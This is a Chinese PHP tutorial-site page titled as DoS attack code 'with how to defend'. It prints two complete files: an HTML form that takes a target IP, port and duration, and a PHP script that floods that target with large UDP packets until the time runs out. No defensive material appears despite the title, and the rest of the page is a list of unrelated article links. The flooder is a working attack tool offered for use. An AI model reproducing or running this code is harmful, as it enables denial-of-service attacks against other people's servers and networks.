php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
PHP求小于1000的所有水仙花数的代码
Jan 10 PHP
色色整理的PHP面试题集锦
Mar 08 PHP
基于simple_html_dom的使用小结
Jul 01 PHP
小谈php正则提取图片地址
Mar 27 PHP
php编写简单的文章发布程序
Jun 18 PHP
详解PHP序列化反序列化的方法
Oct 27 PHP
搭建Vim为自定义的PHP开发工具的一些技巧
Dec 11 PHP
PHP判断JSON对象是否存在的方法(推荐)
Jul 06 PHP
PHP使用Nginx实现反向代理
Sep 20 PHP
PHP实现数组向任意位置插入,删除,替换数据操作示例
Apr 05 PHP
详解PHP 7.4 中数组延展操作符语法知识点
Jul 19 PHP
php给数组赋值的实例方法
Sep 26 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
php数组函数序列之array_search()- 按元素值返回键名
2011/11/04 PHP
php+ajax实现无刷新的新闻留言系统
2020/12/21 PHP
PHP+JQuery+Ajax实现分页方法详解
2016/08/06 PHP
阿里对象存储OSS在laravel框架中的使用方法
2019/10/13 PHP
javascript模拟的Ping效果代码 (Web Ping)
2011/03/13 Javascript
JavaScript实现的内存数据库LokiJS介绍和入门实例
2014/11/17 Javascript
jQuery大于号(&gt;)选择器的作用解释
2015/01/13 Javascript
JavaScript实现获取dom中class的方法
2015/02/09 Javascript
基于jQuery插件实现点击小图显示大图效果
2016/05/11 Javascript
详解js的事件代理(委托)
2016/12/22 Javascript
Javascript 高性能之递归,迭代,查表法详解及实例
2017/01/08 Javascript
函数四种调用模式以及其中的this指向
2017/01/16 Javascript
微信小程序 参数传递实例代码
2017/03/20 Javascript
Angularjs的$http异步删除数据详解及实例
2017/07/27 Javascript
深入浅析Vue全局组件与局部组件的区别
2018/06/15 Javascript
微信小程序实现多行文字滚动
2020/11/18 Javascript
[36:19]2018DOTA2亚洲邀请赛 小组赛 A组加赛 Newbee vs LGD
2018/04/03 DOTA
python单元测试unittest实例详解
2015/05/11 Python
Python的requests网络编程包使用教程
2016/07/11 Python
tensorflow模型的save与restore,及checkpoint中读取变量方式
2020/05/26 Python
Python selenium爬取微信公众号文章代码详解
2020/08/12 Python
Python根据URL地址下载文件并保存至对应目录的实现
2020/11/15 Python
html5实现多文件的上传示例代码
2014/02/13 HTML / CSS
Hotels.com中国区:好订网
2016/08/18 全球购物
Super-Pharm波兰:药房和香水在一个地方
2020/08/18 全球购物
模具专业毕业生自荐书范文
2014/02/19 职场文书
就业协议书盖章的注意事项
2014/09/28 职场文书
党的群众路线教育实践活动个人对照检查材料(四风)
2014/11/05 职场文书
2016年高校自主招生自荐信范文
2015/03/24 职场文书
员工工作表扬信
2015/05/05 职场文书
2015年幼儿园班务工作总结
2015/05/12 职场文书
第一书记观后感
2015/06/08 职场文书
学会感恩主题班会
2015/08/12 职场文书
毕业生自荐求职信书写的技巧
2019/08/26 职场文书
Canvas跟随鼠标炫彩小球的实现
2021/04/11 Javascript
PHP 时间处理类Carbon
2022/05/20 PHP